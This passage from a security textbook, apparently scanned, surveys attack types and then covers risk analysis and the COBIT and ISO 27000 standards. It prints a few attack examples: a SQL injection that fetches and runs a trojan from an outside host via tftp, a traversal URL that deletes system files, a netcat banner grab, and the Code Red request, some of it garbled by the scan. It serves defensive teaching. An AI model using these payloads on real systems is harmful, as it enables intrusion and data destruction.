intervention. This is known as a drive-by download. In some cases, the attacker may first
compromise a legitimate web site the victim may run across during normal business
research, or poison DNS entries to send the victim to their compromised web site. In either
case, the malicious code is run by the victim’s web browser without requiring the user to
respond “Yes” or “Continue” to any prompts. All of these targeted attacks are collectively
known as spear-phishing—targeting a specific individual or small group of people with a
tailored attack intended to look like a legitimate inquiry, in order to trick the victim into
running the malware. This is the first phase of an APT attack.

Once the malware infects the victim’s computer, usually silently and without the user’s
knowledge, it “phones home” to download further malware. In this second phase of the
attack, the malware reaches out to a command and control server (CnC server) to bring down
rootkits, Trojans, RATs, and other sophisticated malware—in effect, completely
compromising the victim’s computer and usually without any indication that anything is
wrong. APTs use the very latest infection techniques against newly discovered vulnerabilities
that haven’t been patched yet.

Finally, in the third phase of the attack, the RATs open up connections to their CnC
servers, to be used by their human controllers at their leisure. When malicious operators
takes over the victim’s computer, they have full access to everything inside the organization
that the user has access to. In effect, they have become the trusted insider.

A computer that has been compromised by an APT can never be fully cleaned, because
the sophistication of the malware allows it to embed itself deeply into the computer’s
internals, and the vulnerabilities it exploits may not be patched for a long time, if ever.
Compromised systems should be completely rebuilt. The best way to detect an APT is through
its network callback to a known CnC server, or through advanced heuristic behavior detection
that can identify the changes made by the rootkit portion of the infection.

Manual Attacks

While automated attacks may satisfy virus writers, typical attackers want to test their own
mental wits and toolkits against a foreign computer, changing their attack plan as the host
exposes its weaknesses. They love the challenge manual hacking gives.

Typical Attacker Scenarios

The typical attacker scenario starts with a mischievous attacker port-scanning a particular
IP subnet, looking for open TCP/IP ports. Open ports identify running services and,
naturally, potential entry points into a system. When an attacker finds open ports on a
host, he will attempt to identify the host or service by using fingerprinting mechanisms.
This can be accomplished using OS fingerprinting tools like nmap or xprobe, or it can be
done by banner grabbing. When banner grabbing, an attacker connects to open host ports
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and captures any initial returning information. Often the information identifies the host
service and version. For example, using the netcat utility with the following syntax

nc -vv www.destinationwebsite.com 80
HEAD/ HTTP/10 <ENTER><ENTER>

returned the following information:

www.destinationwebsite.com [IP address] (http) open
HTTP /1.1 200 OK

Server: Microsoft-IIS/4.0

Date: Sun, 08, Jun 2003 17:38:16 GMT
Content-Length: 461

Content-Type: text/html

In this instance, the banner grabbing reveals that the targeted host is running Microsoft’s
Internet Information Services 4.0. An attacker would now begin to test all his tricks known to
work against IIS 4. The IIS 4 banner also tells the attacker that the host box is a Windows box,
probably NT 4.0, considering the IIS version. Finding IIS and Windows exploits is as easy as
firing up www.google.com and typing in “IIS exploits” or “Windows exploits.” Unless the target
company is up to date with all its patches and security hardening, there’s a good chance an
attacker will be able to compromise the server. From there, the attacker can upload and
download files, install instant messaging services to support hacking channels, delete files, view
data, deface the web site, or use the server as a reflection site and look for more things to
attack. If the server isn’t vulnerable, the attacker just continues searching. Odds are that it
won’t take the attacker long to find an unpatched server and generate a successful exploit.

What the attackers attack depends on the ports they find open and their knowledge of
exploits against those openings. For instance, if they find port 137 (NetBIOS) open on the
NT box, they might try to find a weakly password-protected drive share. If they find port 21
(FTP) open, they may try to see how far an anonymous login will take them. If they find
port 25 (SMTP) and the Sendmail application running on another e-mail server, they might
try one of the many Sendmail exploits. Or they may use the found port to collect more
information. For instance, port 137 or 445 on Windows machines will allow remote queries
to determine share names and user names and identify servers.

The attacker will attempt to compromise the system in such a way as to gain the highest
privileged access to the computer. Accounts with this type of access are typically called
administrator, admin, root, sa, system, sysop, or superuser. Using an account with the
highest privileges allows the attacker to attempt anything they want to do with the
computer, because permissions will not prevent them from doing anything.

If attackers don’t get superuser access right away, they will gladly use a less privileged
account and then use it to elevate their privileges. For example, in Windows, a user with
guest or anonymous access has default privileges that can lead to permission escalation.

It certainly makes gathering information and attempting new exploits easier than if the
attacker has no access.

Once the attacker has compromised the computer, they often set up a home on the new
host. They will copy more hacking tools and will close the original hole that let them in, so
another rogue attacker does not take away their access. Yes, attackers are good patchers.
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They know how easy it is to exploit unpatched systems, and they aren’t wondering if it is
possible for a hack to happen to them.

Physical Attacks

In today’s world of interconnectedness, the least popular means of attack is direct physical
access, but if an attacker can physically access a computer, it’s game over. They literally can
do anything, including physically damage the computer, steal passwords, plant keystroke-
logging Trojans, and steal data.

During Microsoft Certified Magazine’s 2002 Security Summit Conference, several
Microsoft servers were set up to be hacked in a contest. The server administrators only
applied patches and security procedures as recommended in readily available Microsoft
documentation. The conference leaders then invited anyone at the conference, and on
the Internet, to hack the servers. After several days, the servers did not suffer a single
successful hack, except for a physical access attack. The servers were guarded at night by a
hotel security guard. One of the participants, a trusted conference presenter no less, sent
the security guard soda after soda during the night. After five sodas, the security guard
went to the bathroom, and the gray hat attacker placed a bootable diskette in one of the
servers and exploited it. It taught two lessons. First, physical security is a necessity. And
second, it is often those we trust that break our security.

Network-Layer Attacks

Many attacker attacks are directed at the lower six layers of the Open Systems Interconnection
(OSI) network protocol model. (This is discussed in detail in Chapter 14.) Network-layer
attacks attempt to compromise network devices and protocol stacks. Network-layer attacks
include packetsniffing and protocol-anomaly exploits.

Packet Sniffing A hot topic in the security world is encryption. Encryption is used to
prevent packet-sniffing (also known as packet capturing or protocol analyzing) attacks. Sniffing
occurs when an unauthorized third party captures network packets destined for computers
other than their own. Packet sniffing allows the attacker to look at transmitted content and
may reveal passwords and confidential data.

In order to use sniffing software, an attacker must have a promiscuous network card and
specialized packet driver software, must be connected to the network segment they want to
sniff, and must use sniffer software. By default, a network interface card (NIC) in a computer
will usually drop any traffic not destined for it. By putting the NIC in promiscuous mode, it
will read any packet going by it on the network wire. Note that in order for a sniffer to
capture traffic, it must physically be able to capture it. On switched networks, where each
network drop is its own collision domain, packet sniffing by intruders can be more difficult,
but not impossible.

Packet-sniffing attacks are more common in areas where many computer hosts share
the same collision domain (such as a wireless segment or local LAN shared over an
Ethernet hub) or over the Internet where the attacker might insert a sniffer in between
source and destination traffic. For example, on a LAN, a less privileged user may sniff
traffic originating from an administrative account, hoping to get the password.

There are several open source sniffing tools, including tcpdump (or WinDump, the
Windows version) and the easier-to-use Ethereal (www.ethereal.com). Figure 2-6 shows an
Ethereal packetsniffing session taken while a browser session to www.google.com was opened.
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(| ] -
HFrame 1 (74 bytes on wire, 74 hytes captured) L4
EHEthernet II, src: 00:60:08:26:85%:0d, Dst: 00:40:10:0cC:9d:od
EHInternet Protocol, src addr: 192.168.168.200 (192.168.168.2000, Dst addr: 68.10.16.25 (68.10.1€
E User Datagram Protocol, Src Port: 2232 (22320, Dst Port: domain (53)
H pbomain Mame System (guery)
|

[~ =

0000 00 40 10 0c 9d Od 00 &0 OB 26 85 Od 08 00 45 0O LBl T &,
0010 00 3c la a5 00 00 80 11 62 78 cO a8 a8 <8 44 0a i G—— bx.
0020 10 19 08 b8 00 35 00 28 f7 41 b3 33 0L 00 00 01 ..... 5.¢

Q030 00 00 Q0 00 Q0 Q0 03 77 77 77 06 eF &fF af 67 6c  ....... w
0040 65 03 63 6f 6d 00 00 01 Q0 01 2. .com /

Filter: | J Reset| Apply |Fi|e: <capture> Drops: 0

Figure 2-6 Ethereal capturing TCP traffic

Ethereal captured the browser doing DNS resolution to convert the URL to an IP address,
and the subsequent loading of Google’s home page and content.

Packet-sniffing attackers are hoping to capture passwords or other confidential
information. Although many protocols encrypt traffic going across the network, many
protocols send data unencrypted in their plaintext forms. Popular protocols like HTTP,
FTP, and Telnet are famous for leaking passwords and confidential information if sniffed.
The following output shows two FTP login packets captured with a packet-sniffing tool:

=4+=t=+=+=+=4=+=t=+=+=+=t=+=t=+=+=+=t=t=+=+=t=+=t=+=f=+=+=+=4=+=
08/02-12:00:44 0:60:8:26:85:D -> 0:40:10:C:9D:D type:0x800 len:0x43
X.X.X.X:1873->x.x.Xx.x:21 TCP TTL:128 TOS:0x0 ID:53973 IpLen:20 DgmLen:53 DF
***AP*** Seq: O0x1CB88EB9C Ack: O0xF308B9B7 Win: OxFFCD TcpLen: 20

55 53 45 52 20 72 6F 67 65 72 67 0D OA USER rogerg..
=4+=t=+=+=+=4=+=t=+=+=+=t=+=t=+=+=+=t=t=+=+=t=+=t=+=f=+=+=+=4=+=
=4+=t=+=+=+=4=+=t=+=+=+=t=+=t=+=+=+=t=t=+=+=t=+=t=+=f=+=+=+=4=+=
08/02-12:00:46 0:60:8:26:85:D->0:40:10:C:9D:D type:0x800 len:0x43
X.X.X.X:1873->x.x.Xx.x:21 TCP TTL:128 TOS:0x0 ID:53978 IpLen:20 DgmLen:53 DF
***AP*** Seq: Ox1CB88EBAY9 Ack: OxF308B9DA Win: OxFFAA TcpLen: 20

50 41 53 53 20 70 61 72 72 6F 74 0D OA PASS parrot..

=4=t+=+=t=+=4=t+=+=t+=+=+=+=+=t+=+=+=+=+=+=+=+=t=t=+=4=t+=+=+=+=F=+=
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The packets clearly reveal the login user account name of rogerg and the password of
parrot. The FTP protocol is even nice enough to require the use of the command words
USER and PASS to indicate where the username and password appear. Telnet is almost as
easy to decode, except that login names and passwords are sent one character per packet.
Most packet sniffers allow filters and triggers to be set up so that the packet capturing only
happens when certain bytes or key phrases (like PASS) cross the wire. It’s very convenient
for the attacker.

Password-sniffing attacks were headed for extinction over the last decade, but they came
roaring back with a vengeance as a tool for exploiting insecure wireless networks.

Protocol-Anomaly Attacks Most network protocols were not created with security in mind.
A rogue attacker can create malformed network packets that do not follow the intended
format and purpose of the protocol, with the result that the attacker is able to either
compromise a remote host or network, or compromise a confidential network data stream.
Network-layer attacks are most often used to get past firewalls and to cause DoS attacks.

DoS attacks are common against big e-commerce sites. In one type of DoS attack, the
attacker machines send massive amounts of TCP SYN packets. This is the first of three
packets sent during a normal TCP handshake used to begin a communication session.
The victim machine responds with the expected ACK/SYN packet, which is normal, and
then awaits an answering ACK from the originator. However, the ACK packet never
comes, leaving the TCP connection in an open state, waiting for an extended period of
time. When sent millions of these packets, the attacked operating system is overtaxed with
open connections all in a waiting state. Often the victim machine has to reboot to clear
all the open connections. If they do reboot without doing something to stop the DoS
attack, it just happens again and again. Often the originating address of the malicious
ACK packets is faked, so there is no way to simply block the originating IP address. This is
just one type of DoS attack, and there are dozens of ways to cause them.

Network-layer attacks usually require that the attacker create malformed traffic, which
can be created by tools called packet injectors or traffic generators. Packet injectors are used by
legitimate sources to test the throughput of network devices or to test the security defenses
of firewalls and IDSs. There are dozens of commercial and open source packet generators
that allow a fair amount of flexibility in generating TCP/IP traffic, permitting different
protocols (TCP, UDP, and ICMP), packet sizes, payload contents, packet flow rates, flag
settings, and customized header options. Attackers can even manually create the malformed
traffic as a text file and then send it using a traffic replay tool. Network-layer attacks are not
nearly as common as application-layer attacks.

Application-Layer Attacks

Application-layer attacks include any exploit directed at the applications running on top of
the OSI protocol stack. Application-layer attacks include exploits directed at application
programs, as well as against operating systems. Application-layer attacks include content
attacks, buffer overflows, and password-cracking attempts.

Content Attacks After malicious mobile code, content and buffer overflow attacks are
the most popular attacker method. The attacker learns which applications are running on a
particular server and then sends content to exploit a known hole. Entire books have been
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devoted to all the possible types of content attacks, and this section will just cover some of
the most popular types. Common content attacks include the following:

* SQL injection attacks
e Unauthorized access of network shares

® File-system transversals

In SQL injection, an attacker connects to a web site with a SQL server back-end database.
The web site contains a customer input form asking for some sort of innocent information,
such as pant size. But instead of entering a numeric value, as the web site is expecting, the
attacker enters a malformed command that is misinterpreted by the server and that leads to
the remote execution of a privileged command. In the following example, SQL injection
code attempts to copy a remote access Trojan, called rat.exe, from a web site called freehost
.com. The second statement executes the Trojan:

'; exec master..xp cmdshell 'tftp -i freehost.com GET rat.exe'--
'; exec master..xp cmdshell 'rat.exe'--

If successful, a remote access Trojan would now be running on the web or SQL server,
which would allow the attacker complete access. Lest you think SQL injection is only a
Microsoft problem, Oracle and MySQL are also exploitable.

Unauthorized access of network shares results from a major flaw in Windows, which is that, by
default, network shares are advertised for the world to see on NetBIOS ports 137 through
139, and port 445 (in newer Windows versions). If you have a Windows PC connected to the
Internet without a firewall blocking access to those ports, it is likely that your PC’s network
shares are viewable by the world. If the Windows system is unpatched, or the shares have
weak passwords or no passwords, then remote attackers will be able to access shares.
Although exploiting open Windows shares is a common worm action, if attackers detect
open NetBIOS ports, they will attempt to access the shares manually.

File-system transversal attacks happen when an attacker is able to malform an application
input request in such a way that unauthorized access to a protected directory or command
is allowed. Usually this is done by using encoded character schemes, numerous backslashes
(\), and periods. The following code example could be used on a vulnerable IIS web site to
delete all files in the Windows system directory:

http://host/index.asp?something=..\..\..\..\WINNT\system32\cmd.exe?/c+DEL./q

Buffer Overflows Bujfer overflows occur when a program expecting input does not do input
validation (this type of programming deficiency, and some programming techniques to
defend against it, are discussed in detail in Chapter 26). For example, suppose the program
was expecting the user to type in a five-digit ZIP code, but instead the attacker replies with
400 characters. The result makes the host program error out and quit, throwing excess data
into the CPU. If the buffer overflow attacker can reliably predict where in memory his buffer
overflow data is going, the buffer overflow can be used to completely compromise the host.
Otherwise, it just creates a DoS condition.
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The following code example shows the buffer overflow used by the Code Red worm:

GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%
u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801
%u9090%u9090%u8190%u00c3%u0003%uB8b00%u531b%sus3££%u0078
%u0000%u00=a HTTP/1.0

Like most buffer overflows, the excessively repeated characters, in this case the N, can
be any character. They are just placeholders to make sure the exploit code gets placed in
the right area of memory.

Password Cracking Password crackers either try to guess passwords or they use brute-force
tools. Brute-force tools attempt to guess a password by trying all the character combinations
listed in an accompanying dictionary. The dictionary may start off blindly guessing passwords
using a simple incremental algorithm (for example, trying aaaaa, aaaab, aaaac, and so on) or
it may use passwords known to be common on the host (such as password, blank, michael,
and so on).

If the attacked system locks out accounts after a certain number of invalid login attempts,
some password attackers will gain enough access to copy down the password database, and
then brute-force it offline.

P2P Attacks With the advent of peer-to-peer (P2P) services, malicious programs are
spreading from PC to PC without having to jump on e-mail or randomly scan the Internet
for vulnerabilities. No matter how the attack occurs, whether automated or manual, most
exploits are only successful on systems without basic countermeasures installed. If you
make a commitment to implement basic countermeasure policies and procedures, the
risk of malicious attack will be significantly lessened (discussed in detail in Chapter 4).

Man-in-the-Middle Attacks

Man-in-the-middle (MITM) attacks are a valid and extremely successful threat vector.
Exploitation often requires knowledge of multiple tools and physical access to the network
or proximity to an access point. MITM attacks often take advantage of ARP poisoning at
Layer 2, even though this attack has been around and discussed for almost a decade.

An MITM attack can take a few different forms. ARP poisoning is the most common,
but DHCP, DNS, and ICMP poisoning are also effective, as well as the use of a malicious
wireless access point (AP). Fake APs have become a common threat vector, exploiting the
manner in which clients automatically connect to known SSIDs. This enables an attacker to
connect and intercept the victim’s network traffic without the victim seeing any indication
they are under attack. To hasten a connection, attacks against the legitimate AP can be
made to help the malicious AP become the last AP standing.
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ARP Poisoning ARP poisoning works by simply responding to Address Resolution Protocol
(ARP) requests with the attacker’s MAC address. The attacker tells the device that wishes to
communicate with the victim’s computer that the attacker knows how to reach the victim,
and then the attacker tells the network that the attacker’s computer is the victim’s
computer—effectively masquerading as the victim’s computer and responding on its
behalf. The switch then updates its table of MAC addresses with the attacker’s MAC
address. The switch uses this to route traffic, and now believes the attacker’s system is the
victim’s system. This creates an MITM situation where the victim routes its traffic through
the attacker and out through the gateway to wherever it needs to go.

This attack simply exploits the correct functioning of the ARP protocol. The problem is
when a rogue system actually responds to all ARP requests. The switch will continue to update
its table with the incorrect information. This means it’s not something that is fixed easily with
a patch. Until recently, there was really no trusted “fix” for this issue. Another problem is that
the “fix” is not widely used by organizations. In many cases, the organization would need to
replace all of its layer two devices in order to defend against ARP poisoning. This of course is
mostly limited by budgetary constraints, and is a hard sell for IT to make in organizations that
don’t understand the attack or the possible implications of a compromise.

Another consideration is that the organization must defend against all possible threat
vectors, while an attacker needs to exploit only one. Since preventing ARP poisoning is not
something you can simply patch, the IT department in most organizations will not put in
the extra effort to do the research to properly defend this attack.

An ARP poisoning attack can be executed so that it only updates the ARP table of the
victim and not the gateway (one-way poison). Many organizations protect the network
architecture, but put no such defenses in place for their host systems. An attacker can
leverage this oversight to poison the host systems and still route victim traffic through the
attacker’s system. True defenses must protect the client systems as well as the networking
devices routing traffic.

Setting up and executing ARP poisoning can be quick and easy. Making a victim list is
easy; an attacker simply executes a ping sweep and creates a list of active IP addresses and
the associated MAC addresses. With the victim list created, the attacker can then execute
either a basic ARP attack, which poisons both the clients and the gateway, or a one-way
attack against only the clients themselves.

Once the attack begins, the attacker has the opportunity to sniff for credentials and
other information such as where the victim’s traffic is going, both internally and externally.

MAC Flooding MAC flooding, technically known as MAC addresses flooding, is where an
application injects a specially crafted layer two and layer three packet onto the network
repeatedly. This causes the layer two switch to fill up its buffers and crash. Since switch
crash behavior is to fail/open, all ports are flooded with all frames, thus causing the denial
of service.

DHCP Poisoning Another poisoning attack is DHCP poisoning. This attack allows an
attacker to compromise victims with three simple steps: provide the pool of addresses to

assign for the victims, provide the netmask for the victims, and finally provide the DNS
IP address.
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An attack takes only seconds to execute. Once a request for an IP address is heard on
the line, the fake DHCP server races against the true DHCP server to provide an address
from its pool. Once accepted, the victim is now connected and traffic will be passing
through the attacker’s system.

One type of denial of service attack is to use a tool to repeat the renew process with
different parameters. This causes the DHCP server to exhaust its pool of addresses,
resulting in the denial of service.

DNS Spoofing Attack A DNS spoofing attack is just as easy to execute as a DHCP
poisoning attack. All traffic from the victim is forwarded through the attacker’s fake DNS
service and redirected so that all requests for Internet or internal sites land at the attacker’s
site, from which the attacker can harvest credentials or possibly launch browser-based
attacks, such as a Java runtime error, to trick the victim. This can also be done through the
local “hosts” file on the computer. The fundamentals of this attack come from “name
resolution order” and manipulating that process. DNS is designed so that every DNS query
first goes to a DNS server, usually a local one on the network or provided by the ISP. That
server will have been pre-configured with the IP addresses of the top-level (root) DNS
servers on the Internet that are the authoritative “source of truth” for all IP addresses and
hostnames. The root server that responds would respond with the address of a lower level
DNS server. This process continues until the name and IP address is found, usually at least
three levels down.

But this rarely occurs in practice today. The Internet is millions of times larger than
was considered when DNS was designed, and the root DNS servers would be overwhelmed
by all the DNS requests that happen in reality. As a result, lower level DNS servers “cache”
information—storing it locally for faster response. This storage is kept for the length of
time specified by the Time-To-Live (TTL) setting on each DNS server. It is these caches
that can be poisoned with false information that sends requestors to the attacker’s IP
address. A complete mastery of DNS is needed to defend against these attacks because
they target a common open port, TCP/UDP 53, that is very necessary in today’s networks.

ICMP Poisoning The final poisoning attack available is ICMP poisoning. One caveat for
the attacker wishing to execute an ICMP attack is that they need to be able to see all traffic;
if they are attached to a switch, this attack is not useful because this is a layer three attack,
unless the attacker’s computer is connected to a spanning port, which in turn would
forward all traffic to the attacker’s system so they could see it.

Like the other poisoning options available, this can be set up and executed quickly.
Simple, easy-to-use attack tools are available on the Internet that automate the attack. An
attacker only has to provide the MAC address of the gateway and the IP address of the
gateway. The attack tool will do the rest.

Wireless Attacks Three common wireless attacks are to use a fake access point (AP), to
use a fake AP with a static extended service set ID (ESSID), and to use a fake AP and an
“evil twin.” All can be set up and executed quickly.

By setting up the fake AP, an attacker can gain full control over all TCP/IP connections
passing through it. At that point, intercepting traffic and capturing or modifying it becomes
trivial. With an SSID that is known to the unsuspecting victim, the fake AP cannot be
distinguished from a real AP.
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An attacker can set up a fake AP with a static ESSID and channel designation. This
attack helps to target specific victims whose devices look to connect with a specific ESSID.
The attack begins by launching a fake AP along with a DHCP server to provide IP addresses
to the victims. As connections are made, each victim will be assigned an IP address, and
traffic will be tunneled through the attacker’s system.

Another wireless attack option is to set up an “evil twin” AP. This differs from the static
attack in that it responds to all beacons from potential victims even while the real AP is
responding. It informs the victims that it is indeed the AP they are looking to connect with
regardless of ESSID. Those victims who hear from the evil twin first will use its information
instead of that from the real AP. The setup and execution is similar to the static attack, except
the ESSID and channel designations are unnecessary. This attack listens and responds to all
requests on all channels. This attack can be leveraged within an organization, but is most
useful when a less targeted approach is required, in locations such as coffee shops, airports,
trains, airplanes, hotels, or anywhere a mobile device is looking for a connection to its
organization’s network or other networks.

Sometimes, setting up a malicious AP is not enough. If a potential victim is already
connected to a wireless network, they are less likely to switch to the attacker’s connection.
In an effort to hasten a victim’s connection, a DoS attack can be used to deauthenticate
devices from their current access point. A “last man standing” approach is to deny service to
all APs in the vicinity by using a DoS attack, leaving the attacker’s malicious AP as the only
one available to the potential victims.

One of three things will happen during these attacks:

® Nothing—if the APs are properly defended.
® The victim device will automatically connect to the malicious AP.

® The victim device will manually connect to the malicious AP.

Do these attacks sound difficult to perform? They’re not. An all-in-one wireless attack
tool is available that can do all these things automatically, without requiring any specialized
knowledge of the underlying technology. In other words, with the right tool, an attacker
doesn’t even have to know how the attacks work.

Risk Analysis

A risk analysis needs to be a part of every security effort. It should analyze and categorize
the assets that need to be protected and the risks that need to be avoided, and it should
facilitate the identification and prioritization of protective elements. It can also provide a
means to measure the effectiveness of the overall security architecture, by tracking those
risks and their associated mitigation over time to observe trends.

How formal and extensive should your risk analysis be? That really depends on the
needs of your organization and the audience for the information. In a larger, well-
structured environment, a more detailed risk analysis may be needed. Military and high-risk
environments may also merit a greater level of diligence and detail. Conversely, a small
office environment, like that of a dentist or lawyer, may not require a deep analysis. In any
case, there must be at least some definition of what the security program is intended to
defend—otherwise it may focus on the wrong priorities or overlook important assets
(leaving them exposed) and threats (failing to defend against them).
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Simply put, the formal definition of risk is the probability of an undesired event (a threat)
exploiting a vulnerability to cause an undesired result to an asset. Thus:

Risk = Probability (Threat + Exploit of Vulnerability) * Cost of Asset Damage

NOTE A threat is something that can go wrong and cause damage to valuable assets. A vulnerability is
an exposure in the infrastructure that can lead to a threat becoming realized. Risk is the cost of a
threat successfully exploiting a vulnerability.

A quantitative approach to risk analysis will take into account actual values—the
estimated probability or likelihood of a problem occurring along with the actual cost of loss
or compromise of the assets in question. One commonly used approach to assigning cost to
risks is annualized loss expectancy (ALE). This is the cost of an undesired event—a single loss
expectancy (SLE)—multiplied by the number of times you expect that event to occur in one
year—the annualized rate of occurrence (ARO).

Annualized Loss (ALE) = Single Loss (SLE) * Annualized Rate (ARO)

But there are problems with the ALE approach. How can you assign ARO to every
potential loss? For example, how many times a year will your car be involved in a fender-
bender? In reality, many years may go by in between accidents, but occasionally you may
have two or three accidents in a single year. Thus, your ARO can be highly variable. Even
defining SLE can be difficult. How much will a fender-bender cost? It could be anywhere
from nothing to several thousand dollars. An analytical mind might be bothered by the
variability and ambiguousness of the numbers. In fact, there is a lot of guesswork involved.

Because the results of an ALE analysis are hard to defend, prove, support, and
demonstrate, this approach is tending to fall out of favor. However, the basic principle of
identifying threats, vulnerabilities, and risks remains valid. You don’t really have to say that
your web server will be defaced once every five years (thus ARO = 0.2) and the cost of
rebuilding it along with the reputation damage you incur will be $10,000 (thus ALE = $2,000)
in order to assert that your web server has value, is exposed to malicious defacement, and
thus should be protected. And you shouldn’t spend more than a reasonable amount of
money to protect it.

A qualitative approach to risk analysis, which may suffice in smaller environments or those
with limited resources, can be just as effective. You can identify your assets (for example, a
web server, a database containing confidential information, workstation computers, and a
network). You can identify the threats to those assets (malware, hack attacks, bugs and
glitches, power outages, and so forth). And you can assign a severity level to help you
prioritize your remediation. If the severity is high enough, you will probably want antivirus
capability on the endpoints as well as on the network, a high-quality stateful firewall, a timely
patching program that includes testing, and uninterruptable power supplies (UPSs). How
much you spend on these things, and which ones you work on first, depends on the severity
you assign to each.

Regardless of whether you take a quantitative or qualitative approach, and how deeply
you dive into the analysis, don’t overlook the risk analysis process. It is an important part of
the planning that needs to go into the development of an effective security program.
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Summary

This chapter covered threat definition and risk assessment, which are necessary to focus the
security program on the areas that are most important and relevant to the environment you
are trying to protect. The threat definition process should take into account the various
threat vectors that represent the greatest potential harm to your organization’s assets.
There are many threat sources and targets that need to be considered as part of this
process. Attacks are one type of threat that can take the form of malicious mobile code,
Advanced Persistent Threats, and manual attacks.

Once the threats are identified, risks should be analyzed based on those threats. Each risk
is a combination of the threats, exploitation of vulnerabilities, and the resulting cost of
damage. Based on this analysis, the proper defensive, detective, and deterrent controls can
then be applied using a layered security strategy (based on the onion model with overlapping
and compensative controls) to the most effective results.
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CHAPTER

Compliance with Standards,
Regulations, and Laws

Information security governance has been characterized as the fourth wave of security
management. The first wave was technical in nature, the second wave was managerial, the
third wave was institutional, and the fourth wave is about governance. All persons concerned
with information security, from the board of directors, to the chief executives, to information
technology and information security professionals, and employees of the organization must
be concerned with information security governance.

The typical driver of information security governance is the prevention of financial fraud
through the manipulation of an organization’s electronic data. Attempts to prevent abuse
and fraud have led to increased regulations, standards, and guidelines, causing organizations
to pay greater attention to governance, which has changed the dynamics of information
security management. Computer crimes and cyber attacks are on the rise, many of which are
perpetrated by the use of social engineering techniques. Building security awareness into the
governance structure has become essential.

Information security professionals are faced with ever-evolving technologies, sophisticated
and determined cyber criminals, a blended threat landscape, and increased compliance
requirements based on new corporate governance initiatives. Even those security practitioners
who work in nonregulated environments are expected to follow a common set of practices,
criteria, and standards. An understanding of the laws, regulations, and standards that apply to
the field of information security is essential. Fortunately, there are substantial overlaps among
the best practices commonly accepted by these, and this chapter covers those.

Information Security Standards

Also known as voluntary standards, or perhaps frameworks, these sets of “best practices” have
been developed and published by internationally recognized organizations, and accepted by
the information security profession in general. The most well-known of these are

® Control Objectives for Information and related Technology (COBIT)
e International Organization for Standardization (ISO) 27001 and 27002
* National Institute of Standards and Technology (NIST) standards
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COBIT

COBIT is published by ISACA, the Information Systems Audit and Control Association.
ISACA is a widely recognized independent IT governance organization, and its COBIT
guidelines are used by IT management in many organizations to define and manage
processes based on a maturity model like the Capability Maturity Model (CMM). COBIT is
not about information security—it is a general IT standard, but certain security practices are
embedded within it. COBIT contains a higher-level set of information security guidelines
than the ISO 27000 series, intended to align business goals with IT goals.

ISACA periodically updates the COBIT processes and releases new versions. COBIT 4.1 is
organized around four conceptual areas, referred to as domains, corresponding to the
preferred order an organization would use to roll out security program components along
the lines of the well-known Plan, Do, Check, Adjust (PDCA) growth cycle commonly used to
build and continuously improve services. COBIT 5 expands on these four domains and adds
a fifth domain for Governance. The domains in versions 4 and 5 are as follows.

Governance:
e (vb) Evaluate, Direct, and Monitor (EDM)

Management:

(v4.1) Plan and Organize (PO) and (v5) Align, Plan, and Organize (APO)
(v4.1) Acquire and Implement (Al) and (v5) Build, Acquire, and Implement (BAI)

(v4.1) Deliver and Support (DS) and (vb) Deliver, Service, and Support (DSS)
(v4.1) Monitor and Evaluate (ME) and (vb) Monitor, Evaluate, and Assess (MEA)

Key information security-related components of COBIT 4 (which are carried forward
into version 5) include

e PO2.3 Establish an information classification scheme based on the criticality and
confidentiality of data, and include ownership information, protection, retention,
and destruction requirements.

¢ PO4.8 Establish an IT security and risk management function at a senior level of
an organization’s management.

* PO6,PO7.4 Implement a security awareness program along with formal security
training for employees, service providers, and third parties.

e PO9 Perform risk assessment and management via a risk management program
that analyzes and communicates risks and their potential impact on business
processes.

e PO10.12 Ensure that security requirements are embedded into the project
management process.

* AlI2.4 Include security requirements in the application development process to
ensure security and availability in line with the organization’s objectives.
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e AI3.2,AI3.3 Implementsecurity in the configuration, integration, and maintenance
of hardware and software to provide availability and integrity.

e AI5.2 Ensure that third-party suppliers of IT infrastructure, facilities, hardware,
software, and services comply with the organization’s security requirements, and
this is reflected in any contracts with those third parties.

e AI7.1-AI7.9 Follow a well-defined change control process that includes testing,
production migration, and backout planning.

e DSI1.3,DS2.2 Include security requirements in Service Level Agreements (SLAs).

¢ DS4.1-DS4.10 Perform Business Continuity Planning (BCP) with periodic testing,
and ensure that backups are preserved in a safe offsite location.

e DS5.1-DS5.11 Manage security according to a specific plan, perform identity
management and user account management, perform security testing and
monitoring, perform incident detection and response, implement security
protections, employ cryptographic key management, protect against malicious
software, secure the network, and protect data exchanges.

e DS12.1-DS12.5 Control physical security and access to important assets with access
controls, escorts, and monitoring of activities.

ISO 27000 Series

The ISO 27000 series of information security standards provides a set of frameworks for
developing a security program from concept to maturity. It’s broken up into several parts
in order to be manageable—each part prescribes a set of activities that belong to phases
comparable to those in the Plan-Do-Check-Act (or more accurately, Plan-Do-Check-Adjust)
(PDCA) cycle, similar to what COBIT does.

e ISO 27001 is a high-level specification for the management of an information
security program. This is referred to as an information security management
system (ISMS). The ISO 27001 standard contains high-level statements about
management responsibilities such as defining objectives, measuring performance,
and auditing compliance. It contains provisions to begin with a risk assessment to
determine which controls are the most important for each organization, and how
fully they should be applied. In principle, this is somewhat similar to COBIT’s
“Plan and Organize” concept or the “Plan” part of the PDCA cycle. It is possible to
be audited against this standard (voluntarily, for organizations that aspire to a high
level of maturity).

e ISO 27002 is a detailed set of information security controls that would ideally be
driven by the output of the risk assessment performed as part of ISO 27001. This
standard forms a complete reference to all the things an organization might want to
do. It can be viewed as a set of best practices, and it’s up to each organization to
determine which of them apply to their business environment. This can be viewed
as somewhat similar to COBIT’s “Acquire and Implement” concept or the “Do” part
of the PDCA cycle.
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ISO 27003 is intended to provide recommendations and best practices to implement
the ISMS management controls defined by ISO 27001—in other words, how to
deliver the security program. This can be compared to the “Deliver and Support”
concept of COBIT, or the “Check” part of the PDCA cycle.

ISO 27004 covers measurement of the effectiveness of the ISMS implemented by
the first three ISO 27000 standards, using metrics and key performance indicators
to describe how well the information security controls are operating. This can be
thought of in the context of COBIT’s “Monitor and Evaluate” concept, or the
“Adjust” part of the PDCA cycle.

ISO 27005 defines a risk management framework for information security that can
